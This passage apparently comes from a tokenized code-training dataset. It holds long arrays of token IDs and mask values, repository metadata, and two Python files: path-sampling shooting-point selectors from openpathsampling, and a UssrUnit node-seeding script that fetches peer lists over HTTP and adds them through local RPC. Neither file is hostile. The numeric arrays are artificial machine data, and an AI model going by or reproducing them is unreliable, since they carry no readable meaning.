63,
344,
14,
344,
12,
490,
283,
9533,
63,
585,
356,
1004,
14,
4777,
63,
954,
2923,
12,
490,
283,
5191,
63,
344,
356,
1004,
14,
5404,
63,
344,
14,
5191,
63,
344,
14,
344,
12,
490,
283,
3899,
63,
344,
356,
1004,
14,
5404,
63,
344,
14,
3899,
63,
344,
14,
344,
12,
490,
283,
4627,
63,
344,
356,
1004,
14,
5404,
63,
344,
14,
4627,
63,
344,
14,
344,
12,
490,
283,
4968,
63,
344,
356,
1004,
14,
5404,
63,
344,
14,
4968,
63,
344,
14,
344,
12,
490,
283,
9533,
63,
602,
7,
520,
1004,
14,
5404,
63,
344,
14,
602,
63,
5404,
12,
355,
789,
355,
2896,
63,
3643,
275,
8977,
63,
1113,
14,
18128,
63,
3710,
63,
344,
8,
1556,
12,
1747,
12,
990,
5322,
459,
3710,
63,
344,
995,
1067,
29,
1100,
9,
355,
5322,
14,
873,
8,
2489,
63,
3643,
459,
585,
1105,
355,
8977,
63,
344,
275,
8977,
63,
1113,
14,
981,
8,
1556,
12,
1747,
12,
5322,
12,
1067,
29,
1100,
9,
355,
340,
1004,
14,
6562,
63,
3710,
63,
344,
14,
1490,
63,
6562,
26,
490,
8977,
63,
1113,
14,
3502,
8,
1556,
12,
1747,
12,
359,
6562,
63,
344,
467,
1067,
29,
1100,
9,
267,
372,
715,
421,
199,
3,
6695,
26,
10379,
26,
10558,
26,
6492,
29,
20,
26,
10503,
29,
20,
26,
10425,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
dwhswenson/openpathsampling
|
openpathsampling/shooting.py
|
2
|
7855
|
import math
import logging
import numpy as np
from openpathsampling.netcdfplus import StorableNamedObject
from openpathsampling import default_rng
logger = logging.getLogger(__name__)
init_log = logging.getLogger('openpathsampling.initialization')
class ShootingPointSelector(StorableNamedObject):
def __init__(self):
# Assign rng, so it can be set to something else
self._rng = default_rng()
super(ShootingPointSelector, self).__init__()
def f(self, snapshot, trajectory):
"""
Returns the unnormalized proposal probability of a snapshot
Notes
-----
In principle this is an collectivevariable so we could easily add
caching if useful
"""
return 1.0
def probability(self, snapshot, trajectory):
sum_bias = self.sum_bias(trajectory)
if sum_bias > 0.0:
return self.f(snapshot, trajectory) / sum_bias
else:
return 0.0
def probability_ratio(self, snapshot, old_trajectory, new_trajectory):
p_old = self.probability(snapshot, old_trajectory)
p_new = self.probability(snapshot, new_trajectory)
return p_new / p_old
def _biases(self, trajectory):
"""
Returns a list of unnormalized proposal probabilities for all
snapshots in trajectory
"""
return [self.f(s, trajectory) for s in trajectory]
def sum_bias(self, trajectory):
"""
Returns the unnormalized probability probability of a trajectory.
This is just the sum of all proposal probabilities in a trajectory.
Notes
-----
For a uniform distribution this is proportional to the length of the
trajectory. In this case we can estimate the maximal accepted
trajectory length for a given acceptance probability.
After we have generated a new trajectory the acceptance probability
only for the non-symmetric proposal of different snapshots is given
by `probability(old_trajectory) / probability(new_trajectory)`
"""
return sum(self._biases(trajectory))
def pick(self, trajectory):
"""
Returns the index of the chosen snapshot within `trajectory`
Notes
-----
The native implementation is very slow. Simple picking algorithm
should override this function.
"""
prob_list = self._biases(trajectory)
sum_bias = sum(prob_list)
rand = self._rng.random() * sum_bias
idx = 0
prob = prob_list[0]
while prob <= rand and idx < len(prob_list):
idx += 1
prob += prob_list[idx]
return idx
class GaussianBiasSelector(ShootingPointSelector):
r"""
A selector that biases according to a Gaussian along specified
:class:`.CollectiveVariable`, with mean ``l_0`` and width parameter
``alpha``. That is, for snapshot :math:`x` and CV :math:`\lambda`, the
selection probability for each frame is weighted according to the
function
.. math::
P_\text{sel}(x) \propto \exp(-\alpha (\lambda(x) - l_0)^2)
Note that normalization here depends on the trajectory that the
snapshot is a part of: the sum of the probabilities for all frames
is 1, which gives a different normalization constant than the standard
Gaussian distribution normalization, and exact probabilities for
selecting a given snapshot will change depending on the trajectory it is
a part of.
Parameters
----------
collectivevariable : :class:`.CollectiveVariable`
the axis to use for the Gaussian
alpha : float
the width of the Gaussian
l_0 : float
the center of the Gaussian
"""
def __init__(self, collectivevariable, alpha=1.0, l_0=0.5):
super(GaussianBiasSelector, self).__init__()
self.collectivevariable = collectivevariable
self.alpha = alpha
self.l_0 = l_0
def f(self, snapshot, trajectory):
l_s = self.collectivevariable(snapshot)
return math.exp(-self.alpha * (l_s - self.l_0) ** 2)
class BiasedSelector(ShootingPointSelector):
"""General biased shooting point selector
Takes any function (wrapped in an OPS CV) and uses that as the bias for
selecting the shooting point.
Parameters
----------
func : :class:`.CollectiveVariable`
A function wrapped in an OPS CV which gives the relative bias.
"""
def __init__(self, func):
super(BiasedSelector, self).__init__()
self.func = func
def f(self, snapshot, trajectory):
return self.func(snapshot)
class UniformSelector(ShootingPointSelector):
"""
Selects random frame in range `pad_start` to `len(trajectory-pad_end`.
Attributes
----------
pad_start : int
number of frames at beginning of trajectory to be excluded from
selection
pad_end : int
number of frames at end of trajectory to be excluded from selection
"""
def __init__(self, pad_start=1, pad_end=1):
super(UniformSelector, self).__init__()
self.pad_start = pad_start
self.pad_end = pad_end
def f(self, frame, trajectory=None):
return 1.0
def sum_bias(self, trajectory):
return float(len(trajectory) - self.pad_start - self.pad_end)
def pick(self, trajectory):
idx = self._rng.integers(self.pad_start,
len(trajectory) - self.pad_end)
return idx
class InterfaceConstrainedSelector(ShootingPointSelector):
"""
Selects first frame outside of volume.
Parameters
----------
volume : :class:`.Volume`
defines Volume for which the first frame outside of this interface
volume is found
"""
def __init__(self, volume):
super(InterfaceConstrainedSelector, self).__init__()
self.volume = volume
def f(self, frame, trajectory=None):
idx = trajectory.index(frame)
if idx == self.pick(trajectory):
return 1.0
else:
return 0.0
def sum_bias(self, trajectory):
return 1.0
def pick(self, trajectory):
for idx, frame in enumerate(trajectory):
if not self.volume(frame):
break
if idx == len(trajectory)-1 and self.volume(frame):
raise RuntimeError("Interface constrained shooting move did "
" not find valid crossing point")
return idx
class FinalFrameSelector(ShootingPointSelector):
"""
Pick final trajectory frame as shooting point.
This is used for "forward" extension in, e.g., the minus move.
"""
def f(self, frame, trajectory):
if trajectory.index(frame) == len(trajectory) - 1:
return 1.0
else:
return 0.0
def pick(self, trajectory):
return len(trajectory)-1
def probability(self, snapshot, trajectory): # pragma: no cover
return 1.0 # there's only one choice
def probability_ratio(self, snapshot, old_trajectory, new_trajectory):
# must be matched by a final-frame selector somewhere
return 1.0
class FirstFrameSelector(ShootingPointSelector):
"""
Pick first trajectory frame as shooting point.
This is used for "backward" extension in, e.g., the minus move.
"""
def f(self, frame, trajectory):
if trajectory.index(frame) == 0:
return 1.0
else:
return 0.0
def pick(self, trajectory):
return 0
def probability(self, snapshot, trajectory): # pragma: no cover
return 1.0 # there's only one choice
def probability_ratio(self, snapshot, old_trajectory, new_trajectory):
# must be matched by a first-frame selector somewhere
return 1.0
|
mit
|
[
646,
3473,
199,
646,
2050,
199,
199,
646,
2680,
465,
980,
199,
199,
504,
1551,
515,
17376,
14,
846,
10790,
6666,
492,
1933,
30932,
7989,
1692,
199,
504,
1551,
515,
17376,
492,
849,
63,
12686,
199,
199,
2921,
275,
2050,
14,
5572,
3460,
354,
3368,
199,
826,
63,
793,
275,
2050,
14,
5572,
360,
1490,
515,
17376,
14,
27876,
358,
421,
199,
533,
428,
526,
15866,
3428,
11212,
8,
933,
30932,
7989,
1692,
304,
272,
347,
636,
826,
721,
277,
304,
267,
327,
16927,
9038,
12,
880,
652,
883,
506,
663,
370,
6020,
587,
267,
291,
423,
12686,
275,
849,
63,
12686,
342,
267,
1613,
8,
51,
526,
15866,
3428,
11212,
12,
291,
2843,
826,
4533,
339,
347,
289,
8,
277,
12,
5740,
12,
30595,
304,
267,
408,
267,
1803,
314,
625,
12916,
28315,
12224,
402,
282,
5740,
398,
8144,
267,
9063,
267,
1010,
5448,
10352,
274,
642,
365,
376,
1048,
25982,
1975,
880,
781,
4293,
16174,
1050,
267,
13627,
340,
2997,
267,
408,
267,
372,
413,
14,
16,
339,
347,
12224,
8,
277,
12,
5740,
12,
30595,
304,
267,
3089,
63,
8160,
275,
291,
14,
1838,
63,
8160,
8,
30575,
9,
267,
340,
3089,
63,
8160,
690,
378,
14,
16,
26,
288,
372,
291,
14,
70,
8,
4753,
12,
30595,
9,
1182,
3089,
63,
8160,
267,
587,
26,
288,
372,
378,
14,
16,
339,
347,
12224,
63,
6884,
8,
277,
12,
5740,
12,
2269,
63,
30575,
12,
892,
63,
30575,
304,
267,
299,
63,
1753,
275,
291,
14,
17210,
8,
4753,
12,
2269,
63,
30575,
9,
267,
299,
63,
1222,
275,
291,
14,
17210,
8,
4753,
12,
892,
63,
30575,
9,
267,
372,
299,
63,
1222,
1182,
299,
63,
1753,
339,
347,
485,
20948,
8,
277,
12,
30595,
304,
267,
408,
267,
1803,
282,
769,
402,
625,
12916,
28315,
19555,
367,
1006,
267,
19076,
315,
30595,
267,
408,
267,
372,
359,
277,
14,
70,
8,
83,
12,
30595,
9,
367,
308,
315,
30595,
61,
339,
347,
3089,
63,
8160,
8,
277,
12,
30595,
304,
267,
408,
267,
1803,
314,
625,
12916,
12224,
12224,
402,
282,
30595,
14,
267,
961,
365,
2951,
314,
3089,
402,
1006,
28315,
19555,
315,
282,
30595,
14,
398,
8144,
267,
9063,
267,
2104,
282,
14818,
4084,
642,
365,
24382,
279,
370,
314,
2582,
402,
314,
267,
30595,
14,
1010,
642,
1930,
781,
883,
14497,
314,
1390,
7265,
10226,
267,
30595,
2582,
367,
282,
1627,
4729,
554,
12224,
14,
398,
12836,
781,
1172,
4046,
282,
892,
30595,
314,
4729,
554,
12224,
267,
1454,
367,
314,
2222,
13,
18422,
28315,
402,
3365,
19076,
365,
1627,
267,
701,
658,
17210,
8,
1753,
63,
30575,
9,
1182,
12224,
8,
1222,
63,
30575,
12544,
267,
408,
398,
372,
3089,
8,
277,
423,
20948,
8,
30575,
430,
339,
347,
3732,
8,
277,
12,
30595,
304,
267,
408,
267,
1803,
314,
1478,
402,
314,
12414,
5740,
4453,
658,
30575,
64,
398,
8144,
267,
9063,
267,
710,
5438,
4514,
365,
7437,
11999,
14,
5870,
12433,
5563,
267,
1077,
4278,
642,
805,
14,
267,
408,
398,
5128,
63,
513,
275,
291,
423,
20948,
8,
30575,
9,
267,
3089,
63,
8160,
275,
3089,
8,
6101,
63,
513,
9,
398,
10261,
275,
291,
423,
12686,
14,
2355,
342,
627,
3089,
63,
8160,
267,
4280,
275,
378,
267,
5128,
275,
5128,
63,
513,
59,
16,
61,
267,
1830,
5128,
2695,
10261,
436,
4280,
665,
822,
8,
6101,
63,
513,
304,
288,
4280,
847,
413,
288,
5128,
847,
5128,
63,
513,
59,
2996,
61,
398,
372,
4280,
421,
199,
533,
17131,
34,
2241,
11212,
8,
51,
526,
15866,
3428,
11212,
304,
272,
519,
624,
272,
437,
9759,
626,
23548,
7182,
370,
282,
17131,
3180,
2013,
272,
520,
533,
5026,
2001,
25982,
2773,
3559,
543,
4615,
1124,
76,
63,
16,
1040,
436,
3462,
2725,
272,
1124,
4468,
4345,
221,
10314,
365,
12,
367,
5740,
520,
3442,
1705,
88,
64,
436,
445,
54,
520,
3442,
1705,
60,
2734,
3559,
314,
272,
7267,
12224,
367,
1924,
2787,
365,
14609,
7182,
370,
314,
272,
805,
339,
2508,
3473,
447,
398,
510,
18005,
505,
91,
5891,
22999,
88,
9,
971,
4469,
475,
971,
1474,
8,
2696,
4468,
14749,
2734,
8,
88,
9,
446,
634,
63,
16,
18979,
18,
9,
339,
3390,
626,
16973,
2348,
8350,
641,
314,
30595,
626,
314,
272,
5740,
365,
282,
1777,
402,
26,
314,
3089,
402,
314,
19555,
367,
1006,
11223,
272,
365,
413,
12,
1314,
10557,
282,
3365,
16973,
4413,
2419,
314,
4465,
272,
17131,
4084,
16973,
12,
436,
5835,
19555,
367,
272,
30090,
282,
1627,
5740,
911,
1570,
10298,
641,
314,
30595,
652,
365,
272,
282,
1777,
402,
14,
339,
3897,
272,
4143,
272,
1048,
25982,
1975,
520,
520,
533,
5026,
2001,
25982,
2773,
64,
267,
314,
3114,
370,
675,
367,
314,
17131,
272,
5131,
520,
2069,
267,
314,
3462,
402,
314,
17131,
272,
634,
63,
16,
520,
2069,
267,
314,
8126,
402,
314,
17131,
272,
408,
272,
347,
636,
826,
721,
277,
12,
1048,
25982,
1975,
12,
5131,
29,
17,
14,
16,
12,
634,
63,
16,
29,
16,
14,
21,
304,
267,
1613,
8,
26756,
34,
2241,
11212,
12,
291,
2843,
826,
4533,
267,
291,
14,
761,
25982,
1975,
275,
1048,
25982,
1975,
267,
291,
14,
4468,
275,
5131,
267,
291,
14,
76,
63,
16,
275,
634,
63,
16,
339,
347,
289,
8,
277,
12,
5740,
12,
30595,
304,
267,
634,
63,
83,
275,
291,
14,
761,
25982,
1975,
8,
4753,
9,
267,
372,
3473,
14,
1474,
2801,
277,
14,
4468,
627,
334,
76,
63,
83,
446,
291,
14,
76,
63,
16,
9,
1011,
499,
9,
421,
199,
533,
31012,
11185,
11212,
8,
51,
526,
15866,
3428,
11212,
304,
272,
408,
14109,
12111,
11185,
930,
15866,
2376,
9759,
339,
17415,
1263,
805,
334,
9130,
315,
376,
593,
5067,
445,
54,
9,
436,
4440,
626,
465,
314,
10671,
367,
272,
30090,
314,
930,
15866,
2376,
14,
339,
3897,
272,
4143,
272,
2562,
520,
520,
533,
5026,
2001,
25982,
2773,
64,
267,
437,
805,
8072,
315,
376,
593,
5067,
445,
54,
1314,
10557,
314,
3847,
10671,
14,
272,
408,
272,
347,
636,
826,
721,
277,
12,
2562,
304,
267,
1613,
8,
17975,
11185,
11212,
12,
291,
2843,
826,
4533,
267,
291,
14
] |
[
3473,
199,
646,
2050,
199,
199,
646,
2680,
465,
980,
199,
199,
504,
1551,
515,
17376,
14,
846,
10790,
6666,
492,
1933,
30932,
7989,
1692,
199,
504,
1551,
515,
17376,
492,
849,
63,
12686,
199,
199,
2921,
275,
2050,
14,
5572,
3460,
354,
3368,
199,
826,
63,
793,
275,
2050,
14,
5572,
360,
1490,
515,
17376,
14,
27876,
358,
421,
199,
533,
428,
526,
15866,
3428,
11212,
8,
933,
30932,
7989,
1692,
304,
272,
347,
636,
826,
721,
277,
304,
267,
327,
16927,
9038,
12,
880,
652,
883,
506,
663,
370,
6020,
587,
267,
291,
423,
12686,
275,
849,
63,
12686,
342,
267,
1613,
8,
51,
526,
15866,
3428,
11212,
12,
291,
2843,
826,
4533,
339,
347,
289,
8,
277,
12,
5740,
12,
30595,
304,
267,
408,
267,
1803,
314,
625,
12916,
28315,
12224,
402,
282,
5740,
398,
8144,
267,
9063,
267,
1010,
5448,
10352,
274,
642,
365,
376,
1048,
25982,
1975,
880,
781,
4293,
16174,
1050,
267,
13627,
340,
2997,
267,
408,
267,
372,
413,
14,
16,
339,
347,
12224,
8,
277,
12,
5740,
12,
30595,
304,
267,
3089,
63,
8160,
275,
291,
14,
1838,
63,
8160,
8,
30575,
9,
267,
340,
3089,
63,
8160,
690,
378,
14,
16,
26,
288,
372,
291,
14,
70,
8,
4753,
12,
30595,
9,
1182,
3089,
63,
8160,
267,
587,
26,
288,
372,
378,
14,
16,
339,
347,
12224,
63,
6884,
8,
277,
12,
5740,
12,
2269,
63,
30575,
12,
892,
63,
30575,
304,
267,
299,
63,
1753,
275,
291,
14,
17210,
8,
4753,
12,
2269,
63,
30575,
9,
267,
299,
63,
1222,
275,
291,
14,
17210,
8,
4753,
12,
892,
63,
30575,
9,
267,
372,
299,
63,
1222,
1182,
299,
63,
1753,
339,
347,
485,
20948,
8,
277,
12,
30595,
304,
267,
408,
267,
1803,
282,
769,
402,
625,
12916,
28315,
19555,
367,
1006,
267,
19076,
315,
30595,
267,
408,
267,
372,
359,
277,
14,
70,
8,
83,
12,
30595,
9,
367,
308,
315,
30595,
61,
339,
347,
3089,
63,
8160,
8,
277,
12,
30595,
304,
267,
408,
267,
1803,
314,
625,
12916,
12224,
12224,
402,
282,
30595,
14,
267,
961,
365,
2951,
314,
3089,
402,
1006,
28315,
19555,
315,
282,
30595,
14,
398,
8144,
267,
9063,
267,
2104,
282,
14818,
4084,
642,
365,
24382,
279,
370,
314,
2582,
402,
314,
267,
30595,
14,
1010,
642,
1930,
781,
883,
14497,
314,
1390,
7265,
10226,
267,
30595,
2582,
367,
282,
1627,
4729,
554,
12224,
14,
398,
12836,
781,
1172,
4046,
282,
892,
30595,
314,
4729,
554,
12224,
267,
1454,
367,
314,
2222,
13,
18422,
28315,
402,
3365,
19076,
365,
1627,
267,
701,
658,
17210,
8,
1753,
63,
30575,
9,
1182,
12224,
8,
1222,
63,
30575,
12544,
267,
408,
398,
372,
3089,
8,
277,
423,
20948,
8,
30575,
430,
339,
347,
3732,
8,
277,
12,
30595,
304,
267,
408,
267,
1803,
314,
1478,
402,
314,
12414,
5740,
4453,
658,
30575,
64,
398,
8144,
267,
9063,
267,
710,
5438,
4514,
365,
7437,
11999,
14,
5870,
12433,
5563,
267,
1077,
4278,
642,
805,
14,
267,
408,
398,
5128,
63,
513,
275,
291,
423,
20948,
8,
30575,
9,
267,
3089,
63,
8160,
275,
3089,
8,
6101,
63,
513,
9,
398,
10261,
275,
291,
423,
12686,
14,
2355,
342,
627,
3089,
63,
8160,
267,
4280,
275,
378,
267,
5128,
275,
5128,
63,
513,
59,
16,
61,
267,
1830,
5128,
2695,
10261,
436,
4280,
665,
822,
8,
6101,
63,
513,
304,
288,
4280,
847,
413,
288,
5128,
847,
5128,
63,
513,
59,
2996,
61,
398,
372,
4280,
421,
199,
533,
17131,
34,
2241,
11212,
8,
51,
526,
15866,
3428,
11212,
304,
272,
519,
624,
272,
437,
9759,
626,
23548,
7182,
370,
282,
17131,
3180,
2013,
272,
520,
533,
5026,
2001,
25982,
2773,
3559,
543,
4615,
1124,
76,
63,
16,
1040,
436,
3462,
2725,
272,
1124,
4468,
4345,
221,
10314,
365,
12,
367,
5740,
520,
3442,
1705,
88,
64,
436,
445,
54,
520,
3442,
1705,
60,
2734,
3559,
314,
272,
7267,
12224,
367,
1924,
2787,
365,
14609,
7182,
370,
314,
272,
805,
339,
2508,
3473,
447,
398,
510,
18005,
505,
91,
5891,
22999,
88,
9,
971,
4469,
475,
971,
1474,
8,
2696,
4468,
14749,
2734,
8,
88,
9,
446,
634,
63,
16,
18979,
18,
9,
339,
3390,
626,
16973,
2348,
8350,
641,
314,
30595,
626,
314,
272,
5740,
365,
282,
1777,
402,
26,
314,
3089,
402,
314,
19555,
367,
1006,
11223,
272,
365,
413,
12,
1314,
10557,
282,
3365,
16973,
4413,
2419,
314,
4465,
272,
17131,
4084,
16973,
12,
436,
5835,
19555,
367,
272,
30090,
282,
1627,
5740,
911,
1570,
10298,
641,
314,
30595,
652,
365,
272,
282,
1777,
402,
14,
339,
3897,
272,
4143,
272,
1048,
25982,
1975,
520,
520,
533,
5026,
2001,
25982,
2773,
64,
267,
314,
3114,
370,
675,
367,
314,
17131,
272,
5131,
520,
2069,
267,
314,
3462,
402,
314,
17131,
272,
634,
63,
16,
520,
2069,
267,
314,
8126,
402,
314,
17131,
272,
408,
272,
347,
636,
826,
721,
277,
12,
1048,
25982,
1975,
12,
5131,
29,
17,
14,
16,
12,
634,
63,
16,
29,
16,
14,
21,
304,
267,
1613,
8,
26756,
34,
2241,
11212,
12,
291,
2843,
826,
4533,
267,
291,
14,
761,
25982,
1975,
275,
1048,
25982,
1975,
267,
291,
14,
4468,
275,
5131,
267,
291,
14,
76,
63,
16,
275,
634,
63,
16,
339,
347,
289,
8,
277,
12,
5740,
12,
30595,
304,
267,
634,
63,
83,
275,
291,
14,
761,
25982,
1975,
8,
4753,
9,
267,
372,
3473,
14,
1474,
2801,
277,
14,
4468,
627,
334,
76,
63,
83,
446,
291,
14,
76,
63,
16,
9,
1011,
499,
9,
421,
199,
533,
31012,
11185,
11212,
8,
51,
526,
15866,
3428,
11212,
304,
272,
408,
14109,
12111,
11185,
930,
15866,
2376,
9759,
339,
17415,
1263,
805,
334,
9130,
315,
376,
593,
5067,
445,
54,
9,
436,
4440,
626,
465,
314,
10671,
367,
272,
30090,
314,
930,
15866,
2376,
14,
339,
3897,
272,
4143,
272,
2562,
520,
520,
533,
5026,
2001,
25982,
2773,
64,
267,
437,
805,
8072,
315,
376,
593,
5067,
445,
54,
1314,
10557,
314,
3847,
10671,
14,
272,
408,
272,
347,
636,
826,
721,
277,
12,
2562,
304,
267,
1613,
8,
17975,
11185,
11212,
12,
291,
2843,
826,
4533,
267,
291,
14,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
ussrunit-project/ussrunit
|
contrib/seeds/getseeds/getseeds.py
|
1
|
3021
|
#!/usr/bin/python3
###
### Automatic seeding over HTTP
### (C) 2016 Alex D.
###
### http://www.gnu.org/licenses/agpl-3.0.en.html
###
import os
import sys
import json
import random
import platform
import urllib.request
sources = ['http://dalexhz1.cloudapp.net', 'http://dalexhz2.cloudapp.net', 'http://dalexhz4.cloudapp.net', 'http://dalexhz5.cloudapp.net']
data = urllib.request.urlopen(random.choice(sources)).readall();
if 'norpc' in sys.argv:
for node in json.loads(data.decode()):
print (node)
sys.exit()
### This module is required to function properly:
### https://github.com/jgarzik/python-bitcoinrpc
import errno
from bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException
from socket import error as socket_error
def confFile():
folder = ''
if platform.system() == 'Windows':
folder = os.path.join(os.path.join(os.environ['APPDATA'], 'UssrUnit'))
else:
if platform.system() == 'Darwin':
folder = os.path.expanduser('~/Library/Application Support/UssrUnit/')
else:
folder = os.path.expanduser('~/.ussrunit')
return os.path.join(folder, 'ussrunit.conf')
conf_path = confFile()
if not os.path.exists(conf_path):
parser.error('''Ussrcoin configuration file not found. Manually enter your RPC password.\r\n'''
'''If you actually haven't created a configuration file, you should create one at %s with the text like this:\r\n'''
'''\r\n'''
'''server=1\r\n'''
'''rpcuser=yourname\r\n'''
'''rpcpassword=%x\r\n'''
'''\r\n'''
'''Keep that password secret! After creating the file, restart Ussrcoin.''' % (conf_path, random.randrange(2**128)))
conf = open(conf_path, 'rb').read()
contents = {}
for line in conf.splitlines(True):
if line.startswith(b'#'):
line = line[:line.index(b'#')]
if not line.__contains__(b'='):
continue
k, v = line.split(b'=', 1)
contents[k.strip()] = v.strip()
if b'rpcpassword' not in contents.keys():
print('''RPC password is not found in the %s file.''' % (conf_path))
sys.exit()
if b'rpcuser' not in contents.keys():
print('''RPC user is not found in the %s file.''' % (conf_path))
sys.exit()
rpcuser = contents[b'rpcuser'].decode()
rpcpassword = contents[b'rpcpassword'].decode()
rpcport = 48670
rpclisten = '127.0.0.1'
if b'rpcport' in contents.keys():
rpcport = contents[b'rpcport'].decode()
if b'rpclisten' in contents.keys():
rpclisten = contents[b'rpclisten'].decode()
access = AuthServiceProxy('http://%s:%s@%s:%d/' % (rpcuser, rpcpassword, rpclisten, int(rpcport)))
for node in json.loads(data.decode()):
print ('Adding', node)
try:
access.addnode(node, 'add')
except socket_error as e:
if e.errno == errno.ECONNREFUSED:
print ('Unable to communicate with Ussrcoin RPC')
break
except JSONRPCException as e:
if e.code == -23:
print ('Already added')
continue
break
|
mit
|
[
3381,
2647,
15,
1393,
15,
1548,
19,
199,
199,
5680,
199,
5680,
221,
9195,
3889,
6347,
316,
1806,
3101,
199,
5680,
221,
334,
35,
9,
7800,
22986,
577,
14,
199,
5680,
199,
5680,
221,
1455,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
643,
1168,
13,
19,
14,
16,
14,
287,
14,
1360,
199,
5680,
199,
199,
646,
747,
199,
646,
984,
199,
646,
2022,
199,
646,
2196,
199,
646,
4298,
199,
646,
4011,
14,
1069,
199,
199,
4553,
275,
788,
1014,
921,
983,
3113,
19552,
17,
14,
4091,
571,
14,
846,
297,
283,
1014,
921,
983,
3113,
